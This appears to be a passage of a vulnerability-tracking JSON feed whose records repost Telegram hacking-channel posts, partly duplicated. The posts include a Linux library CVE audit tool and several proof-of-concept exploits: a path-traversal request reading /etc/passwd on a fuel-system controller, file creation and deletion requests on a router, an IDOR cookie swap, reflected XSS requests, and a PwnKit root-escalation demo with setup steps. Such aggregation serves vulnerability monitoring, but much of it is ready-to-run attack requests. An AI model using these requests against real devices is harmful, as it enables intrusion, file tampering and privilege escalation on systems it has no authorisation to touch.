2.64.6\ngdk-x11-2.0 2.24.32\nsqlite3 3.31.1\ncairo-png 1.16.0\nlibpcre2-posix 10.34\nwcf 6.8.0.105\ndmxproto 2.3.1\ncairo-script 1.16.0\nxext 1.3.4\nx11 1.6.9\nsystem.web.mvc 1.0.0.0\nmono-cairo 6.8.0.105\ncecil 6.8.0.105\nudev 245\nThe default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.\nhttps://nvd.nist.gov/vuln/detail/CVE-2011-0640\n6.9 MEDIUM\nplymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.\nhttps://nvd.nist.gov/vuln/detail/CVE-2010-4176\n4.0 MEDIUM\nxkeyboard-config 2.29\nbash-completion 2.10\nyelp-xsl 3.36.0\nxdamage 1.1.5\nlibgdiplus 6.0.4\nicu-uc 66.1\nxcomposite 0.4.5\nharfbuzz 2.6.4\npixman-1 0.38.4\npthread-stubs 0.4\nsystemd 245\nAn exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13529\n2.9 LOW\nsystemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13776\n6.2 MEDIUM\nA heap use-after-free vulnerability was found in systemd before version v245-rc1, where asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-1712\n4.6 MEDIUM\nexpat 2.2.9\npangocairo 1.44.7\nxdmcp 1.1.3\nlibpcreposix [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-1712", "author": {"login": "automation"}}, {"uuid": "ed6f6e45-0426-4bcf-b820-dd9db3dac356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:04.335303+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49649", "content": "Kali Linux Tutorials\nMaster_Librarian : A Tool To Audit Unix/*BSD/Linux System Libraries To Find Public Security Vulnerabilities\n\nMaster_Librarian is a simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities.\n\nTo install requirements:\n\n$ sudo python3 -m pip install -r requirements.txt\n\nOverview:\n\n$ python3 master_librarian.py -h\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nExample:\n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\nusage: master_librarian.py [-h] -t TYPES [-l LIMIT]\noptional arguments:\n-h, \u2013help show this help message and exit\n-t TYPES, \u2013type TYPES\nName of output type for logs(txt or csv)\n-l LIMIT, \u2013limit LIMIT\nLimit CVEs per pages in nvd NIST search(default is 3)\n\nExample:\n\n$ python3 master_librarian.py -t txt\n\noutput\n\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nExample:\n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nSearch pitfalls in operational system local packages\nxres 1.2.0\ncairo-ps 1.16.0\nxf86vidmodeproto 2.3.1\nlibcrypto 1.1.1f\ndamageproto 1.2.1\nlibffi 3.3\nxfixes 5.0.3\nInteger overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-7944\n7.5 HIGH\nsystem.web.extensions.design_1.0 1.0.61025.0\nkbproto 1.0.7\ngio-unix-2.0 2.64.6\ngdk-x11-2.0 2.24.32\nsqlite3 3.31.1\ncairo-png 1.16.0\nlibpcre2-posix 10.34\nwcf 6.8.0.105\ndmxproto 2.3.1\ncairo-script 1.16.0\nxext 1.3.4\nx11 1.6.9\nsystem.web.mvc 1.0.0.0\nmono-cairo 6.8.0.105\ncecil 6.8.0.105\nudev 245\nThe default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.\nhttps://nvd.nist.gov/vuln/detail/CVE-2011-0640\n6.9 MEDIUM\nplymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.\nhttps://nvd.nist.gov/vuln/detail/CVE-2010-4176\n4.0 MEDIUM\nxkeyboard-config 2.29\nbash-completion 2.10\nyelp-xsl 3.36.0\nxdamage 1.1.5\nlibgdiplus 6.0.4\nicu-uc 66.1\nxcomposite 0.4.5\nharfbuzz 2.6.4\npixman-1 0.38.4\npthread-stubs 0.4\nsystemd 245\nAn exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13529\n2.9 LOW\nsystemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13776\n6.2 MEDIUM\nA heap use-after-free vulnerability was found in systemd before version v245-rc1, where asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-1712\n4.6 MEDIUM\nexpat 2.2.9\npangocairo 1.44.7\nxdmcp 1.1.3\nlibpcreposix [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-1000082", "author": {"login": "automation"}}, {"uuid": "8fbefe59-3d0b-421a-9238-6a37bc820585", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:04.292769+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49649", "content": "Kali Linux Tutorials\nMaster_Librarian : A Tool To Audit Unix/*BSD/Linux System Libraries To Find Public Security Vulnerabilities\n\nMaster_Librarian is a simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities.\n\nTo install requirements:\n\n$ sudo python3 -m pip install -r requirements.txt\n\nOverview:\n\n$ python3 master_librarian.py -h\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nExample:\n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\nusage: master_librarian.py [-h] -t TYPES [-l LIMIT]\noptional arguments:\n-h, \u2013help show this help message and exit\n-t TYPES, \u2013type TYPES\nName of output type for logs(txt or csv)\n-l LIMIT, \u2013limit LIMIT\nLimit CVEs per pages in nvd NIST search(default is 3)\n\nExample:\n\n$ python3 master_librarian.py -t txt\n\noutput\n\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nExample:\n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nSearch pitfalls in operational system local packages\nxres 1.2.0\ncairo-ps 1.16.0\nxf86vidmodeproto 2.3.1\nlibcrypto 1.1.1f\ndamageproto 1.2.1\nlibffi 3.3\nxfixes 5.0.3\nInteger overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-7944\n7.5 HIGH\nsystem.web.extensions.design_1.0 1.0.61025.0\nkbproto 1.0.7\ngio-unix-2.0 2.64.6\ngdk-x11-2.0 2.24.32\nsqlite3 3.31.1\ncairo-png 1.16.0\nlibpcre2-posix 10.34\nwcf 6.8.0.105\ndmxproto 2.3.1\ncairo-script 1.16.0\nxext 1.3.4\nx11 1.6.9\nsystem.web.mvc 1.0.0.0\nmono-cairo 6.8.0.105\ncecil 6.8.0.105\nudev 245\nThe default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.\nhttps://nvd.nist.gov/vuln/detail/CVE-2011-0640\n6.9 MEDIUM\nplymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.\nhttps://nvd.nist.gov/vuln/detail/CVE-2010-4176\n4.0 MEDIUM\nxkeyboard-config 2.29\nbash-completion 2.10\nyelp-xsl 3.36.0\nxdamage 1.1.5\nlibgdiplus 6.0.4\nicu-uc 66.1\nxcomposite 0.4.5\nharfbuzz 2.6.4\npixman-1 0.38.4\npthread-stubs 0.4\nsystemd 245\nAn exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13529\n2.9 LOW\nsystemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13776\n6.2 MEDIUM\nA heap use-after-free vulnerability was found in systemd before version v245-rc1, where asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-1712\n4.6 MEDIUM\nexpat 2.2.9\npangocairo 1.44.7\nxdmcp 1.1.3\nlibpcreposix [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-13776", "author": {"login": "automation"}}, {"uuid": "9b51327f-91c0-4cce-a799-8032ec28b532", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:04.244573+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49606", "content": "Exploit Collector\nWordPress Anti-Malware Security And Brute-Force Firewall Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png \nWordPress Anti-Malware Security and Brute-Force Firewall plugin versions prior to 4.20.96 suffer from a cross site scripting vulnerability.\n\nMD5 | 2f8b972a36566b684356e0ea7f6fb4c0\n\nDownload\nTittle:\nWordPress Plugin Anti-Malware Security and Brute-Force Firewall < 4.20.96 - Reflected Cross-Site Scripting\n\nReferences:\nCVE-2022-0953\n\nAuthor:\nTaurus Omar \n\nDescription:\nThe plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters.\n\nAffects Plugins:\nGotmls - Fixed in version 4.20.96\n\nProof of Concept:\nGET /wp-admin/admin.php?page=GOTMLS_View_Quarantine&a=\">\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-0953", "author": {"login": "automation"}}, {"uuid": "dde5f482-1c8e-4e7d-8014-5c84387b6eed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:04.199771+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49604", "content": "Exploit Collector\nFranklin Fueling Systems Colibri Controller Module 1.8.19.8580 Local File Inclusion\n\nhttps://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png \nFranklin Fueling Systems Colibri Controller Module version 1.8.19.8580 suffers from a local file inclusion vulnerability.\n\nMD5 | b7439b8411a5e5db2349008648bfd0ff\n\nDownload\n# Exploit Title: Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 - Local File Inclusion (LFI)\n# Date: 7/4/2022\n# Exploit Author: Momen Eldawakhly (Cyber Guy)\n# Vendor Homepage: https://www.franklinfueling.com/\n# Version: 1.8.19.8580\n# Tested on: Linux [Firefox]\n# CVE : CVE-2021-46417\n\n# Proof of Concept\n\n============[ HTTP Exploitation ]============\n\nGET /18198580/cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password= HTTP/1.1\nHost: 192.168.1.6\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nDNT: 1\nConnection: close\nCookie: Prefs=LID%3Des%3BPDS%3DMM/dd/yyyy%3BPDL%3DEEEE%2C%20MMMM%20dd%2C%20yyyy%3BPDY%3DMMMM%2C%20yyyy%3BPTS%3DHH%3Amm%3BPTL%3DHH%3Amm%3Ass%3BDSP%3D.%3BGSP%3D%2C%3BGRP%3D3%3BLDZ%3Dtrue%3BUVL%3DuvGallons%3BULN%3DulMillimeters%3BUTM%3DutCentigrade%3BUPR%3DupPSI%3BUP2%3Dup2inWater%3BUP3%3Dup3inHg%3BUFL%3Dufgpm%3BUDY%3Dudkgpcm%3BUMS%3Dumkgrams%3BRPR%3D30%3BXML%3Dfalse%3B\nUpgrade-Insecure-Requests: 1\n\n============[ URL Exploitation ]============\n\nhttp://192.168.1.6/18198580/cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password=\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-46417", "author": {"login": "automation"}}, {"uuid": "46b5f417-b305-435c-bfc3-12ba9c816ef8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:04.153044+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49605", "content": "Exploit Collector\nTelesquare TLR-2855KS6 Arbitrary File Deletion\n\nhttps://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png \nTelesquare TLR-2855KS6 suffers from an arbitrary file deletion vulnerability.\n\nMD5 | a65dfe9a381b50d2e2af1bcd0a0fc6de\n\nDownload\n# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Deletion\n# Date: 7/4/2022\n# Exploit Author: Momen Eldawakhly (Cyber Guy)\n# Vendor Homepage: http://www.telesquare.co.kr/\n# Version: TLR-2855KS6\n# Tested on: Linux [Firefox]\n# CVE : CVE-2021-46419\n\n# Proof of Concept\n\nDELETE /cgi-bin/test.cgi HTTP/1.1\nHost: 192.168.1.5\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-type: application/x-www-form-urlencoded\nContent-Length: 438\nOrigin: http://192.168.1.5\nDNT: 1\nConnection: close\nReferer: http://192.168.1.5/\nCookie: nonce=16426923592222\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-46419", "author": {"login": "automation"}}, {"uuid": "da151702-fb6c-4811-b0cc-3561f31af097", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:04.107382+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49600", "content": "Exploit Collector\nTelesquare TLR-2855KS6 Arbitrary File Creation\n\nhttps://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png \nTelesquare TLR-2855KS6 suffers from an arbitrary file creation vulnerability.\n\nMD5 | ba82661c541feb7ec102d8bb648b606c\n\nDownload\n# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Creation\n# Date: 7/4/2022\n# Exploit Author: Momen Eldawakhly (Cyber Guy)\n# Vendor Homepage: http://www.telesquare.co.kr/\n# Version: TLR-2855KS6\n# Tested on: Linux [Firefox]\n# CVE : CVE-2021-46418\n\n# Proof of Concept\n\nPUT /cgi-bin/testing_cve.txt HTTP/1.1\nHost: 192.168.1.5\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nDNT: 1\nConnection: close\nCookie: nonce=1642692359833588\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 32\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-46418", "author": {"login": "automation"}}, {"uuid": "c6315fc5-7f1b-4307-ae12-d14d50e0829d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:04.061051+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49597", "content": "Exploit Collector\nSAM SUNNY TRIPOWER 5.0 Insecure Direct Object Reference\n\nhttps://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png \nSAM SUNNY TRIPOWER version 5.0 suffers from an insecure direct object reference vulnerability.\n\nMD5 | cf530ea25acc249bd4a94f9463c797d0\n\nDownload\n# Exploit Title: SAM SUNNY TRIPOWER 5.0 - Insecure Direct Object Reference (IDOR)\n# Date: 7/4/2022\n# Exploit Author: Momen Eldawakhly (Cyber Guy)\n# Vendor Homepage: https://www.sma.de\n# Version: SUNNY TRIPOWER 5.0 Firmware version 3.10.16.R\n# Tested on: Linux [Firefox]\n# CVE : CVE-2021-46416\n\n# Proof of Concept\n\n============[ Normal user request ]============\n\nGET / HTTP/1.1\nHost: 192.168.1.4\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nDNT: 1\nConnection: close\nCookie: tmhDynamicLocale.locale=%22en-us%22; user443=%7B%22role%22%3A%7B%22bitMask%22%3A2%2C%22title%22%3A%22usr%22%2C%22loginLevel%22%3A2%7D%2C%22username%22%3A861%2C%22sid%22%3A%22CDQMoPK0y6Q0-NaD%22%7D\nUpgrade-Insecure-Requests: 1\n\n============[ Manipulated username request ]============\n\nGET / HTTP/1.1\nHost: 192.168.1.4\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nDNT: 1\nConnection: close\nCookie: tmhDynamicLocale.locale=%22en-us%22; user443=%7B%22role%22%3A%7B%22bitMask%22%3A2%2C%22title%22%3A%22usr%22%2C%22loginLevel%22%3A2%7D%2C%22username%22%3A850%2C%22sid%22%3A%22CDQMoPK0y6Q0-NaD%22%7D\nUpgrade-Insecure-Requests: 1\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-46416", "author": {"login": "automation"}}, {"uuid": "d8ec91f5-318d-4ae4-b6d5-484042a78786", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:04.010892+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49542", "content": "Kali Linux Tutorials\nPwnKit-Exploit : Proof Of Concept (PoC) CVE-2021-4034\n\nPwnKit-Exploit, a local privilege escalation\u00a0vulnerability\u00a0was found on polkit\u2019s pkexec utility. The pkexec application is a setuid tool designed\u00a0to allow unprivileged users to run commands as privileged users according predefined policies.\n\nProof of Concept\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwOAMbH6gZ2_kTUN_lO02kOrPeI3FMDYomWDhZq46xnVq4v587S9dkffvOgIM-0aVE9tHqJiMBa_AvgSWkbClCkTxac5KwTsxkvDedBV916XbjLTksFxOjRdcbnip_8LvQAkZuxjsF1gZYoTCoLbfYX7gNtpmofZ222Y3YEtx9CGYdzyg-s0K8rv2T/s988/68747470733a2f2f6a2e676966732e636f6d2f5851704c38382e676966.gif \ndebian@debian:~/PwnKit-Exploit$ make\ncc -Wall exploit.c -o exploit\ndebian@debian:~/PwnKit-Exploit$ whoami\ndebian\ndebian@debian:~/PwnKit-Exploit$ ./exploit\nCurrent User before execute exploit\nhacker@victim$whoami: debian\nExploit written by @luijait (0x6c75696a616974)\n[+] Enjoy your root if exploit was completed succesfully\nroot@debian:/home/debian/PwnKit-Exploit# whoami\nroot\nroot@debian:/home/debian/PwnKit-Exploit# FixCommandUsesudo chmod 0755 pkexecFix CVE 2021-4034 \nInstallation & Use git clone https://github.com/luijait/PwnKit-Exploitcd PwnKit-Exploitmake./exploitwhoamiCommandUtilitymake cleanClean build to test code modified ExplanationBased blog.qualys.com\n\nThe beginning of pkexec\u2019s main() function processes the command-line arguments (lines 534-568), and searches for the program to be executed, if its path is not absolute, in the directories of the PATH environment variable (lines 610-640):\n\n435 main (int argc, char *argv[])\n436 {\n534 for (n = 1; n < (guint) argc; n++)\n535 {\n568 }\n610 path = g_strdup (argv[n]);\n629 if (path[0] != \u2018/\u2019)\n630 {\n632 s = g_find_program_in_path (path);\n639 argv[n] = path = s;\n640 }\n\nunfortunately, if the number of command-line arguments argc is 0 \u2013 which means if the argument list argv that we pass to execve() is empty, i.e. {NULL} \u2013 then argv[0] is NULL. This is the argument list\u2019s terminator. Therefore:\n\nat line 534, the integer n is permanently set to 1; at line 610, the pointer path is read out-of-bounds from argv[1]; at line 639, the pointer s is written out-of-bounds to argv[1]. But what exactly is read from and written to this out-of-bounds argv[1]?\n\nTo answer this question, we must digress briefly. When we execve() a new program, the kernel copies our argument, environment strings, and pointers (argv and envp) to the end of the new program\u2019s stack; for example:\nargv[0]argv[1]\u2026argv[argc]envp[0]envp[1]\u2026envp[envc]V V V V V V \n\u201cprogram\u201d \u201c-option\u201d NULL \u201cvalue\u201d \u201cPATH=name\u201d NULL\n\nClearly, because the argv and envp pointers are contiguous in memory, if argc is 0, then the out-of-bounds argv[1] is actually envp[0], the pointer to our first environment variable, \u201cvalue\u201d. Consequently:\n\nAt line 610, the path of the program to be executed is read out-of-bounds from argv[1] (i.e. envp[0]), and points to \u201cvalue\u201d; At line 632, this path \u201cvalue\u201d is passed to g_find_program_in_path() (because \u201cvalue\u201d does not start with a slash, at line 629); Then, g_find_program_in_path() searches for an executable file named \u201cvalue\u201d in the directories of our PATH environment variable; If such an executable file is found, its full path is returned to pkexec\u2019s main() function (at line 632); Finally, at line 639, this full path is written out-of-bounds to argv[1] (i.e. envp[0]), thus overwriting our first environment variable. So, stated more precisely:\n\nIf our PATH environment variable is \u201cPATH=name\u201d, and if the directory \u201cname\u201d exists (in the current working directory) and contains an executable file named \u201cvalue\u201d, then a pointer to the string \u201cname/value\u201d is written out-of-bounds to envp[0]; OR\n\nIf our PATH is \u201cPATH=name=.\u201d, and if the directory \u201cname=.\u201d exists and contains an executable file named \u201cvalue\u201d, th[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "a870fb1e-2d4b-414f-822f-1aa2e23c42a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:03.968268+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49526", "content": "hacking: security in practice\nlearning metasploit importing modules.\n\nOk why are some modules and payloads right there like\n\nhttps://vulners.com/metasploit/MSF:ILITIES/SUSE-CVE-2019-6470/\n\nAnd others only have a link to the module like this one I cannot find the module to import? Cannot seem to localize them anywhere else neither.\n\nMSF:ILITIES/REDHAT_LINUX-CVE-2021-25215\n\nsubmitted by /u/Imaginary_Manager_44 \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-6470", "author": {"login": "automation"}}, {"uuid": "a1d5ba4c-4ee9-42bd-9c19-98ca2b189a15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:03.926078+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49526", "content": "hacking: security in practice\nlearning metasploit importing modules.\n\nOk why are some modules and payloads right there like\n\nhttps://vulners.com/metasploit/MSF:ILITIES/SUSE-CVE-2019-6470/\n\nAnd others only have a link to the module like this one I cannot find the module to import? Cannot seem to localize them anywhere else neither.\n\nMSF:ILITIES/REDHAT_LINUX-CVE-2021-25215\n\nsubmitted by /u/Imaginary_Manager_44 \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-25215", "author": {"login": "automation"}}, {"uuid": "3d8dd5e7-fee7-4ff2-91ed-6c039ff90ac6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:03.881542+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49269", "content": "Exploit Collector\nReprise License Manager 14.2 Cross Site Scripting / Information Disclosure\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png Reprise License Manager version 14.2 suffers from cross site scripting and information disclosure vulnerabilities.\n\nMD5 | cc55ae7d1b402036a9e2e82e2e0c4ea4Download Multiple Vulnerabilities in Reprise License Manager 14.2\n\nCredit: Giulia Melotti Garibaldi\n\n//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28363\n# Vulnerability Title: Reflected Cross-Site Scripting\n# Severity: Medium\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/login_process \"username\" parameter via GET. No authentication is required.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goform/login_process?username=admin&password=admin&ok=LOGIN HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 38\nOrigin: http://HOST:5054\nConnection: keep-alive\nReferer: http://HOST:5054/goform/login_process\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28364\n# Vulnerability Title: Authenticated Reflected Cross-Site Scripting\n# Severity: Low\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/rlmswitchr_process \"file\" parameter via GET. Authentication is required.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goform/rlmswitchr_process?file= HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/x-www-form-urlencoded\nOrigin: http://HOST:5054\nConnection: keep-alive\nReferer: http://HOST:5054/goforms/rlmswitchr\nCookie: REDACTED\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n# 